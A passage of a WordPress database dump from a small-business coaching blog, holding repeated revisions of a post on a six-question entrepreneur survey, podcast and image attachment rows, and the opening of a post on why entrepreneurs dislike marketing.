what works best for you? a) reading blogs, b) listening to podcasts or watching videos, c) attending teleseminars and webinars</em>\r\n<h3><strong>The Result</strong></h3>\r\nNearly two-thirds (59%) of respondents say blogs is their preferred source when seeking new information. That’s more than double those who watch video or listen to podcasts (21%). Teleseminars or webinars ranked lowest at 18%.\r\n\r\nCandidly, I’m delighted to know blogs are still the main source of learning for entrepreneurs growing their business. For as much buzz as video and webinars get as effective learning tools, according to the results here, good old fashion reading still reins supreme.\r\n<h3><strong>Question 5</strong></h3>\r\n<em>How confident are you in your ability to target high value customers? a) very confident, b) moderately confident, c) not at all</em>\r\n<h3><em></em><strong>The Result</strong></h3>\r\nI was a bit surprised to learn that nearly 75% of respondents are very to moderately confident in their ability to target high value customers. With 55% being moderately confident.\r\n\r\nWhat is perplexing to me is why is marketing so painful when there appears to be such a high level of confidence in targeting the right customers? Seemingly the high confidence levels in targeting would make the marketing and sales process much easier and more enjoyable.\r\n<h3><strong>Question 6</strong></h3>\r\n<em>When investing your money to grow your business, what method has produced the best result? a) direct marketing, b) paid advertising, c) PR or earned media</em>\r\n<h3><strong>The Result</strong></h3>\r\nNot one respondent (o%) said paid advertising produced the best result. 57% said direct marketing produced the best result, and 43% said PR produced the best result. Of course the web provides an effective tool for direct response marketing as well as an effective tool for creating buzz. Nobody is thinking paid advertising is an effective tactic for growing his or her business. Ask yourself how effective was your last paid Google search, Facebook or Linkedin campaign in generating customer engagement.\r\n\r\n<strong>What matters most in growing your business.</strong>\r\n\r\nFor respondents of the survey, they clearly revealed their pain is marketing and sales and their joy is product or service innovation.  The takeaway for me is to help early stage entrepreneurs bridge their love of creativity and innovation to their resistance to marketing and sales. They are two sides of the same coin.\r\n\r\nCreating value for customers and sharing the benefits of that value with prospective customers and clients is the key to creating more impact, influence and income.\r\n\r\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'Insight into what matters most to you in growing your business.', 0, '', 'inherit', 'open', 'open', '', '2689-revision-4', '', '', '2014-07-28 16:02:12', '2014-07-28 23:02:12', '', 2689, 'http://www.whitehotcenter.com/2014/07/2689-revision-4/', 0, 'revision', '', 0),
(2696, 2, '2014-07-28 16:06:44', '2014-07-28 23:06:44', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg"><img class="alignnone size-full wp-image-2690" title="WHC Survey" src="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg" alt="" width="495" height="300" /></a>\r\n<h1>The results of the recent White Hot Center Survey have been analyzed and the insights are illuminating.</h1>\r\nThank you to all the White Hot Center readers and followers in my social media channels who took part in my little survey. In an effort to create content here that is more relevant and useful to you (early stage entrepreneurs and solo professionals), I asked readers to answer six questions about what matters most to them in growing their business to the next level.\r\n\r\nThe survey asked respondents six multiple-choice questions about their business growth. The respondent participation was in great enough numbers for me to get a snapshot of what is on the minds of entrepreneurs these days.\r\n\r\nIn reviewing the results, the insight gained was reinforcement to several assumptions I’ve been formulating in my head about what is of most interest to entrepreneurs at the beginning of their journey.  At the same time there were a couple of interesting results that were illuminating as well. Without further ado, I’m delighted to share the results of the survey with you.\r\n<h3><strong>Question 1</strong><em></em></h3>\r\n<em>When you think about how best to grow your business, what concerns you the most? a) finding and retaining talented employees, b) marketing and sales, c) creating new products and services</em>\r\n<h3><strong>The Result</strong>:</h3>\r\nNearly 60% of respondents said marketing and sales were their greatest concern. The other two options were equally divided at 22% each.\r\n\r\nOf course this was not a big surprise at all. Compared to finding the right employees and innovating the right products, nothing matters more than acquiring higher value customers. We all know without customers there is no business. However the next question revealed something very interesting.\r\n<h3><strong>Question 2</strong></h3>\r\n<em>What activities do you enjoy most in growing your business? A) product development and innovation, b) sales and marketing, c) leading your team.</em>\r\n\r\n<strong>The  Result:</strong>\r\n\r\nNearly 70% of respondents said product development and innovation is what they love most about growing their business. Conversely, and for as much concern as entrepreneurs claim, sales and marketing is something very few enjoy or do at all.\r\n\r\nOnly 20% of respondents said they enjoy sales and marketing activities. The takeaway here is learn to enjoy sales and marketing or delegate that function to someone else who enjoys marketing and sales as much as you enjoy the creative activities of product or service innovation. Clearly, actively engaging in marketing and sales is the main event in growing your business. Marketing and sales is the primary pain point for entrepreneurs–very few business owners enjoy selling.\r\n<h3><strong>Question 3</strong></h3>\r\n<em>How effective is social media as a means to grow your business? A) most effective, b) important but not critical, c) not effective at all</em>\r\n<h3><strong>The Result:</strong></h3>\r\nOne would think in our social media driven world today, entrepreneurs would rank social media as the most effective means for business growth. Surprisingly, nearly 70% of respondents said social media was “important but not critical”.  Only 25 % said it was “most effective”.\r\n\r\nClearly when you combine A and B together, respondents firmly grasp the power of social media channels to grow their business. However the majority of respondents believe social media is not a critical component. This leads me to believe real face-to-face interactions with customers is still the X factor that leads to sustained business success.\r\n<h3><strong>Question 4</strong></h3>\r\n<em>When seeking new information to grow your business, what works best for you? a) reading blogs, b) listening to podcasts or watching videos, c) attending teleseminars and webinars</em>\r\n<h3><strong>The Result</strong></h3>\r\nNearly two-thirds (59%) of respondents say blogs is their preferred source when seeking new information. That’s more than double those who watch video or listen to podcasts (21%). Teleseminars or webinars ranked lowest at 18%.\r\n\r\nCandidly, I’m delighted to know blogs are still the main source of learning for entrepreneurs growing their business. For as much buzz as video and webinars get as effective learning tools, according to the results here, good old fashion reading still reins supreme.\r\n<h3><strong>Question 5</strong></h3>\r\n<em>How confident are you in your ability to target high value customers? a) very confident, b) moderately confident, c) not at all</em>\r\n<h3><em></em><strong>The Result</strong></h3>\r\nI was a bit surprised to learn that nearly 75% of respondents are very to moderately confident in their ability to target high value customers. With 55% being moderately confident.\r\n\r\nWhat is perplexing to me is why is marketing so painful when there appears to be such a high level of confidence in targeting the right customers? Seemingly the high confidence levels in targeting would make the marketing and sales process much easier and more enjoyable.\r\n<h3><strong>Question 6</strong></h3>\r\n<em>When investing your money to grow your business, what method has produced the best result? a) direct marketing, b) paid advertising, c) PR or earned media</em>\r\n<h3><strong>The Result</strong></h3>\r\nNot one respondent (o%) said paid advertising produced the best result. 57% said direct marketing produced the best result, and 43% said PR produced the best result. Of course the web provides an effective tool for direct response marketing as well as an effective tool for creating buzz. Nobody is thinking paid advertising is an effective tactic for growing his or her business. Ask yourself how effective was your last paid Google search, Facebook or Linkedin campaign in generating customer engagement.\r\n\r\n<strong>What matters most in growing your business.</strong>\r\n\r\nFor respondents of the survey, they clearly revealed their pain is marketing and sales and their joy is product or service innovation.  The takeaway for me is to help early stage entrepreneurs bridge their love of creativity and innovation to their resistance to marketing and sales. They are two sides of the same coin.\r\n\r\nCreating value for customers and sharing the benefits of that value with prospective customers and clients is the key to creating more impact, influence and income.\r\n\r\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'Insight into what matters most to you in growing your business.', 0, '', 'inherit', 'open', 'open', '', '2689-revision-6', '', '', '2014-07-28 16:06:44', '2014-07-28 23:06:44', '', 2689, 'http://www.whitehotcenter.com/2014/07/2689-revision-6/', 0, 'revision', '', 0);
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(2697, 2, '2014-07-28 16:06:47', '2014-07-28 23:06:47', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg"><img class="alignnone size-full wp-image-2690" title="WHC Survey" src="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg" alt="" width="495" height="300" /></a>\r\n<h1>The results of the recent White Hot Center Survey have been analyzed and the insights are illuminating.</h1>\r\nThank you to all the White Hot Center readers and followers in my social media channels who took part in my little survey. In an effort to create content here that is more relevant and useful to you (early stage entrepreneurs and solo professionals), I asked readers to answer six questions about what matters most to them in growing their business to the next level.\r\n\r\nThe survey asked respondents six multiple-choice questions about their business growth. The respondent participation was in great enough numbers for me to get a snapshot of what is on the minds of entrepreneurs these days.\r\n\r\nIn reviewing the results, the insight gained was reinforcement to several assumptions I’ve been formulating in my head about what is of most interest to entrepreneurs at the beginning of their journey.  At the same time there were a couple of interesting results that were illuminating as well. Without further ado, I’m delighted to share the results of the survey with you.\r\n<h3><strong>Question 1</strong><em></em></h3>\r\n<em>When you think about how best to grow your business, what concerns you the most? a) finding and retaining talented employees, b) marketing and sales, c) creating new products and services</em>\r\n<h3><strong>The Result</strong>:</h3>\r\nNearly 60% of respondents said marketing and sales were their greatest concern. The other two options were equally divided at 22% each.\r\n\r\nOf course this was not a big surprise at all. Compared to finding the right employees and innovating the right products, nothing matters more than acquiring higher value customers. We all know without customers there is no business. However the next question revealed something very interesting.\r\n<h3><strong>Question 2</strong></h3>\r\n<em>What activities do you enjoy most in growing your business? A) product development and innovation, b) sales and marketing, c) leading your team.</em>\r\n\r\n<strong>The  Result:</strong>\r\n\r\nNearly 70% of respondents said product development and innovation is what they love most about growing their business. Conversely, and for as much concern as entrepreneurs claim, sales and marketing is something very few enjoy or do at all.\r\n\r\nOnly 20% of respondents said they enjoy sales and marketing activities. The takeaway here is learn to enjoy sales and marketing or delegate that function to someone else who enjoys marketing and sales as much as you enjoy the creative activities of product or service innovation. Clearly, actively engaging in marketing and sales is the main event in growing your business. Marketing and sales is the primary pain point for entrepreneurs–very few business owners enjoy selling.\r\n<h3><strong>Question 3</strong></h3>\r\n<em>How effective is social media as a means to grow your business? A) most effective, b) important but not critical, c) not effective at all</em>\r\n<h3><strong>The Result:</strong></h3>\r\nOne would think in our social media driven world today, entrepreneurs would rank social media as the most effective means for business growth. Surprisingly, nearly 70% of respondents said social media was “important but not critical”.  Only 25 % said it was “most effective”.\r\n\r\nClearly when you combine A and B together, respondents firmly grasp the power of social media channels to grow their business. However the majority of respondents believe social media is not a critical component. This leads me to believe real face-to-face interactions with customers is still the X factor that leads to sustained business success.\r\n<h3><strong>Question 4</strong></h3>\r\n<em>When seeking new information to grow your business, what works best for you? a) reading blogs, b) listening to podcasts or watching videos, c) attending teleseminars and webinars</em>\r\n<h3><strong>The Result</strong></h3>\r\nNearly two-thirds (59%) of respondents say blogs is their preferred source when seeking new information. That’s more than double those who watch video or listen to podcasts (21%). Teleseminars or webinars ranked lowest at 18%.\r\n\r\nCandidly, I’m delighted to know blogs are still the main source of learning for entrepreneurs growing their business. For as much buzz as video and webinars get as effective learning tools, according to the results here, good old fashion reading still reins supreme.\r\n<h3><strong>Question 5</strong></h3>\r\n<em>How confident are you in your ability to target high value customers? a) very confident, b) moderately confident, c) not at all</em>\r\n<h3><em></em><strong>The Result</strong></h3>\r\nI was a bit surprised to learn that nearly 75% of respondents are very to moderately confident in their ability to target high value customers. With 55% being moderately confident.\r\n\r\nWhat is perplexing to me is why is marketing so painful when there appears to be such a high level of confidence in targeting the right customers? Seemingly the high confidence levels in targeting would make the marketing and sales process much easier and more enjoyable.\r\n<h3><strong>Question 6</strong></h3>\r\n<em>When investing your money to grow your business, what method has produced the best result? a) direct marketing, b) paid advertising, c) PR or earned media</em>\r\n<h3><strong>The Result</strong></h3>\r\nNot one respondent (o%) said paid advertising produced the best result. 57% said direct marketing produced the best result, and 43% said PR produced the best result. Of course the web provides an effective tool for direct response marketing as well as an effective tool for creating buzz. Nobody is thinking paid advertising is an effective tactic for growing his or her business. Ask yourself how effective was your last paid Google search, Facebook or Linkedin campaign in generating customer engagement.\r\n\r\n<strong>What matters most in growing your business.</strong>\r\n\r\nFor respondents of the survey, they clearly revealed their pain is marketing and sales and their joy is product or service innovation.  The takeaway for me is to help early stage entrepreneurs bridge their love of creativity and innovation to their resistance to marketing and sales. They are two sides of the same coin.\r\n\r\nCreating value for customers and sharing the benefits of that value with prospective customers and clients is the key to creating more impact, influence and income.\r\n\r\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'Insight into what matters most to you in growing your business.', 0, '', 'inherit', 'open', 'open', '', '2689-revision-7', '', '', '2014-07-28 16:06:47', '2014-07-28 23:06:47', '', 2689, 'http://www.whitehotcenter.com/2014/07/2689-revision-7/', 0, 'revision', '', 0),
(2698, 2, '2014-07-28 16:12:45', '2014-07-28 23:12:45', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg"><img class="alignnone size-full wp-image-2690" title="WHC Survey" src="http://whc.fbdev.org/wp-content/uploads/2014/07/WHC-Survey.jpg" alt="" width="495" height="300" /></a>\n<h1>The results of the recent White Hot Center Survey have been analyzed and the insights are illuminating.</h1>\nThank you to all the White Hot Center readers and followers in my social media channels who took part in my little survey. In an effort to create content here that is more relevant and useful to you (early stage entrepreneurs and solo professionals), I asked readers to answer six questions about what matters most to them in growing their business to the next level.\n\nThe survey asked respondents six multiple-choice questions about their business growth. The respondent participation was in great enough numbers for me to get a snapshot of what is on the minds of entrepreneurs these days.\n\nIn reviewing the results, the insight gained was reinforcement to several assumptions I’ve been formulating in my head about what is of most interest to entrepreneurs at the beginning of their journey.  At the same time there were a couple of interesting results that were illuminating as well. Without further ado, I’m delighted to share the results of the survey with you.\n<h3><strong>Question 1</strong><em></em></h3>\n<em>When you think about how best to grow your business, what concerns you the most? a) finding and retaining talented employees, b) marketing and sales, c) creating new products and services</em>\n<h3><strong>The Result</strong>:</h3>\nNearly 60% of respondents said marketing and sales were their greatest concern. The other two options were equally divided at 22% each.\n\nOf course this was not a big surprise at all. Compared to finding the right employees and innovating the right products, nothing matters more than acquiring higher value customers. We all know without customers there is no business. However the next question revealed something very interesting.\n<h3><strong>Question 2</strong></h3>\n<em>What activities do you enjoy most in growing your business? A) product development and innovation, b) sales and marketing, c) leading your team.</em>\n\n<strong>The  Result:</strong>\n\nNearly 70% of respondents said product development and innovation is what they love most about growing their business. Conversely, and for as much concern as entrepreneurs claim, sales and marketing is something very few enjoy or do at all.\n\nOnly 20% of respondents said they enjoy sales and marketing activities. The takeaway here is learn to enjoy sales and marketing or delegate that function to someone else who enjoys marketing and sales as much as you enjoy the creative activities of product or service innovation. Clearly, actively engaging in marketing and sales is the main event in growing your business. Marketing and sales is the primary pain point for entrepreneurs–very few business owners enjoy selling.\n<h3><strong>Question 3</strong></h3>\n<em>How effective is social media as a means to grow your business? A) most effective, b) important but not critical, c) not effective at all</em>\n<h3><strong>The Result:</strong></h3>\nOne would think in our social media driven world today, entrepreneurs would rank social media as the most effective means for business growth. Surprisingly, nearly 70% of respondents said social media was “important but not critical”.  Only 25 % said it was “most effective”.\n\nClearly when you combine A and B together, respondents firmly grasp the power of social media channels to grow their business. However the majority of respondents believe social media is not a critical component. This leads me to believe real face-to-face interactions with customers is still the X factor that leads to sustained business success.\n<h3><strong>Question 4</strong></h3>\n<em>When seeking new information to grow your business, what works best for you? a) reading blogs, b) listening to podcasts or watching videos, c) attending teleseminars and webinars</em>\n<h3><strong>The Result</strong></h3>\nNearly two-thirds (59%) of respondents say blogs is their preferred source when seeking new information. That’s more than double those who watch video or listen to podcasts (21%). Teleseminars or webinars ranked lowest at 18%.\n\nCandidly, I’m delighted to know blogs are still the main source of learning for entrepreneurs growing their business. For as much buzz as video and webinars get as effective learning tools, according to the results here, good old fashion reading still reins supreme.\n<h3><strong>Question 5</strong></h3>\n<em>How confident are you in your ability to target high value customers? a) very confident, b) moderately confident, c) not at all</em>\n<h3><em></em><strong>The Result</strong></h3>\nI was a bit surprised to learn that nearly 75% of respondents are very to moderately confident in their ability to target high value customers. With 55% being moderately confident.\n\nWhat is perplexing to me is why is marketing so painful when there appears to be such a high level of confidence in targeting the right customers? Seemingly the high confidence levels in targeting would make the marketing and sales process much easier and more enjoyable.\n<h3><strong>Question 6</strong></h3>\n<em>When investing your money to grow your business, what method has produced the best result? a) direct marketing, b) paid advertising, c) PR or earned media</em>\n<h3><strong>The Result</strong></h3>\nNot one respondent (o%) said paid advertising produced the best result. 57% said direct marketing produced the best result, and 43% said PR produced the best result. Of course the web provides an effective tool for direct response marketing as well as an effective tool for creating buzz. Nobody is thinking paid advertising is an effective tactic for growing his or her business. Ask yourself how effective was your last paid Google search, Facebook or Linkedin campaign in generating customer engagement.\n\n<strong>What matters most in growing your business.</strong>\n\nFor respondents of the survey, they clearly revealed their pain is marketing and sales and their joy is product or service innovation.  The takeaway for me is to help early stage entrepreneurs bridge their love of creativity and innovation to their resistance to marketing and sales. They are two sides of the same coin.\n\nCreating value for customers and sharing the benefits of that value with prospective customers and clients is the key to creating more impact, influence and income.\n\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'Insight into what matters most to you in growing your business.', 0, '', 'inherit', 'open', 'open', '', '2689-autosave', '', '', '2014-07-28 16:12:45', '2014-07-28 23:12:45', '', 2689, 'http://www.whitehotcenter.com/2014/07/2689-autosave/', 0, 'revision', '', 0),
(2716, 2, '2014-08-19 10:52:37', '2014-08-19 17:52:37', '', 'Why Entrepreneurs Hate Marketing', 0, '', 'inherit', 'open', 'open', '', 'hate-marketing', '', '', '2014-08-19 10:52:37', '2014-08-19 17:52:37', '', 2715, 'http://www.whitehotcenter.com/wp-content/uploads/2014/08/Hate-Marketing.jpg', 0, 'attachment', 'image/jpeg', 0),
(2700, 2, '2014-07-28 18:37:22', '2014-07-29 01:37:22', '', 'PodCast Perserverance 6.28.14', 0, 'Perserverance to grow your business.', 'inherit', 'open', 'open', '', 'podcast-perserverance-6-28-14', '', '', '2015-09-24 02:42:27', '2015-09-24 09:42:27', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2014/07/PodCast-Perserverance-6.28.14.mp3', 0, 'attachment', 'audio/mpeg', 0),
(2702, 2, '2014-07-29 07:39:48', '2014-07-29 14:39:48', 'Perseverance  is the key to making it rain.', 'Rain Dancing', 0, '', 'inherit', 'open', 'open', '', 'indiian-2', '', '', '2014-07-29 07:39:48', '2014-07-29 14:39:48', '', 2701, 'http://www.whitehotcenter.com/wp-content/uploads/2014/07/indiian.jpg', 0, 'attachment', 'image/jpeg', 0),
(2703, 2, '2014-07-29 07:43:26', '2014-07-29 14:43:26', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg"><img class="size-full wp-image-2702 alignleft" title="Rain Dancing" src="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg" alt="" width="250" height="232" /></a>Perseverance is the key to making it rain in your business.', 'WHC Podcast: Perserverence is the key to making it rain.', 0, '', 'inherit', 'open', 'open', '', '2701-revision', '', '', '2014-07-29 07:43:26', '2014-07-29 14:43:26', '', 2701, 'http://www.whitehotcenter.com/2014/07/2701-revision/', 0, 'revision', '', 0),
(2704, 2, '2014-07-29 07:44:11', '2014-07-29 14:44:11', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg"><img class="size-full wp-image-2702 alignleft" title="Rain Dancing" src="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg" alt="" width="250" height="232" /></a>Perseverance is the key to making it rain in your business. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience… let it pour!\r\n\r\n&nbsp;', 'WHC Podcast: Perserverence is the key to making it rain.', 0, '', 'inherit', 'open', 'open', '', '2701-revision-2', '', '', '2014-07-29 07:44:11', '2014-07-29 14:44:11', '', 2701, 'http://www.whitehotcenter.com/2014/07/2701-revision-2/', 0, 'revision', '', 0),
(2705, 2, '2014-07-29 07:46:02', '2014-07-29 14:46:02', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg"><img class="size-full wp-image-2702 alignleft" title="Rain Dancing" src="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg" alt="" width="250" height="232" /></a>Perseverance is the key to making it rain in your business. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience… let it pour!\n\n&nbsp;\n\n&nbsp;', 'WHC Podcast: Perseverance is the key to making it rain.', 0, '', 'inherit', 'open', 'open', '', '2701-revision-3', '', '', '2014-07-29 07:46:02', '2014-07-29 14:46:02', '', 2701, 'http://www.whitehotcenter.com/2014/07/2701-revision-3/', 0, 'revision', '', 0),
(2706, 2, '2014-07-29 07:46:14', '2014-07-29 14:46:14', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg"><img class="size-full wp-image-2702 alignleft" title="Rain Dancing" src="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg" alt="" width="250" height="232" /></a>Perseverance is the key to making it rain in your business. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience… let it pour!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/07/PodCast-Perserverance-6.28.14.mp3\r\n[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: Perseverance is the key to making it rain.', 0, '', 'inherit', 'open', 'open', '', '2701-revision-4', '', '', '2014-07-29 07:46:14', '2014-07-29 14:46:14', '', 2701, 'http://www.whitehotcenter.com/2014/07/2701-revision-4/', 0, 'revision', '', 0),
(2707, 2, '2014-07-29 07:46:18', '2014-07-29 14:46:18', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg"><img class="size-full wp-image-2702 alignleft" title="Rain Dancing" src="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg" alt="" width="250" height="232" /></a>Perseverance is the key to making it rain in your business. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience… let it pour!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/07/PodCast-Perserverance-6.28.14.mp3\r\n[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: Perseverance is the key to making it rain.', 0, '', 'inherit', 'open', 'open', '', '2701-revision-5', '', '', '2014-07-29 07:46:18', '2014-07-29 14:46:18', '', 2701, 'http://www.whitehotcenter.com/2014/07/2701-revision-5/', 0, 'revision', '', 0),
(2708, 2, '2014-07-29 07:48:15', '2014-07-29 14:48:15', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg"><img class="size-full wp-image-2702 alignleft" title="Rain Dancing" src="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg" alt="" width="250" height="232" /></a>Perseverance is the key to making it rain in your business. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience… let it pour!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/07/PodCast-Perserverance-6.28.14.mp3\r\n[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: Perseverance is the key to making it rain.', 0, '', 'inherit', 'open', 'open', '', '2701-revision-6', '', '', '2014-07-29 07:48:15', '2014-07-29 14:48:15', '', 2701, 'http://www.whitehotcenter.com/2014/07/2701-revision-6/', 0, 'revision', '', 0),
(2709, 2, '2014-07-29 07:53:03', '2014-07-29 14:53:03', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg"><img class="size-full wp-image-2702 alignleft" title="Rain Dancing" src="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg" alt="" width="250" height="232" /></a>Perseverance is the key to making it rain in your business. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience… let it pour!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/07/PodCast-Perserverance-6.28.14.mp3[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: Perseverance is the key to making it rain.', 0, '', 'inherit', 'open', 'open', '', '2701-revision-7', '', '', '2014-07-29 07:53:03', '2014-07-29 14:53:03', '', 2701, 'http://www.whitehotcenter.com/2014/07/2701-revision-7/', 0, 'revision', '', 0),
(2710, 2, '2014-07-29 07:53:07', '2014-07-29 14:53:07', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg"><img class="size-full wp-image-2702 alignleft" title="Rain Dancing" src="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg" alt="" width="250" height="232" /></a>Perseverance is the key to making it rain in your business. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience… let it pour!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/07/PodCast-Perserverance-6.28.14.mp3[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: Perseverance is the key to making it rain.', 0, '', 'inherit', 'open', 'open', '', '2701-revision-8', '', '', '2014-07-29 07:53:07', '2014-07-29 14:53:07', '', 2701, 'http://www.whitehotcenter.com/2014/07/2701-revision-8/', 0, 'revision', '', 0),
(2711, 2, '2014-07-29 07:58:39', '2014-07-29 14:58:39', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg"><img class="size-full wp-image-2702 alignleft" title="Rain Dancing" src="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg" alt="" width="250" height="232" /></a>Perseverance is the key to making it rain in your business. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience… let it pour!\n\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/07/PodCast-Perserverance-6.28.14.mp3[/podcast]\n\n&nbsp;', 'WHC Podcast: Perseverance is the key to making it rain.', 0, '', 'inherit', 'open', 'open', '', '2701-autosave', '', '', '2014-07-29 07:58:39', '2014-07-29 14:58:39', '', 2701, 'http://www.whitehotcenter.com/2014/07/2701-autosave/', 0, 'revision', '', 0),
(2712, 2, '2014-07-29 07:56:14', '2014-07-29 14:56:14', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg"><img class="size-full wp-image-2702 alignleft" title="Rain Dancing" src="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg" alt="" width="250" height="232" /></a>Perseverance is the key to making it rain in your business. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience… let it pour!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/07/PodCast-Perserverance-6.28.14.mp3[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: Perseverance is the key to making it rain.', 0, '', 'inherit', 'open', 'open', '', '2701-revision-9', '', '', '2014-07-29 07:56:14', '2014-07-29 14:56:14', '', 2701, 'http://www.whitehotcenter.com/2014/07/2701-revision-9/', 0, 'revision', '', 0),
(2713, 2, '2014-07-29 07:57:36', '2014-07-29 14:57:36', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg"><img class="size-full wp-image-2702 alignleft" title="Rain Dancing" src="http://whc.fbdev.org/wp-content/uploads/2014/07/indiian.jpg" alt="" width="250" height="232" /></a>Perseverance is the key to making it rain in your business. Never give up on something you love and believe in!  The form of the desire may show up in unexpected ways, but it will always lead to a higher, richer experience… let it pour!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/07/PodCast-Perserverance-6.28.14.mp3[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: Perseverance is the key to making it rain.', 0, '', 'inherit', 'open', 'open', '', '2701-revision-10', '', '', '2014-07-29 07:57:36', '2014-07-29 14:57:36', '', 2701, 'http://www.whitehotcenter.com/2014/07/2701-revision-10/', 0, 'revision', '', 0),
(2715, 2, '2014-08-19 11:29:44', '2014-08-19 18:29:44', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the <strong><a title="What matters most in growing your business." href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">results of a survey </a></strong>I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovels to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think 